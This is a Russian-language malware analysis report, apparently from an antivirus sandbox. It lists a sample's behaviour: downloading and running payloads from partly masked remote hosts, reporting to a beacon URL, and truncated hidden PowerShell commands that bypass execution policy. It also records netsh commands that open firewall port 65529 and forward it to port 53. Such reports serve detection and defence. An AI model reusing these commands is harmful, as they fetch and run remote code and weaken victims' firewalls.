Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://do##.ackng.com/if.bin?id############################################################################################################################################ vga graphics adapter&...
- http://do##.ackng.com/m6.bin?id############################################################################################################################################ vga graphics adapter&...
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNS
Сетевая активность
TCP
Запросы HTTP GET
- http://t.##r2.com/report.jsp?ID##################################################################################################################################################################...
UDP
- DNS ASK do##.ackng.com
- DNS ASK t.##r2.com
Другое
Запускает на исполнение
- '<SYSTEM32>\wbem\wmic.exe' Path Win32_VideoController Get Description
- '<SYSTEM32>\cmd.exe' /c powershell -nop -w hidden -ep bypass -c "$ifp=$env:tmp+'\if.bin';if(test-path $ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|f...
- '<SYSTEM32>\cmd.exe' /c powershell -nop -w hidden -ep bypass -c "try{$localMn=$flase;New-Object System.Threading.Mutex($true,'Global\LocalMn',[ref]$localMn)}catch{};$mp=$env:tmp+'\m6.bin';if(test-path $mp){$con=[Sy...
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNS
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
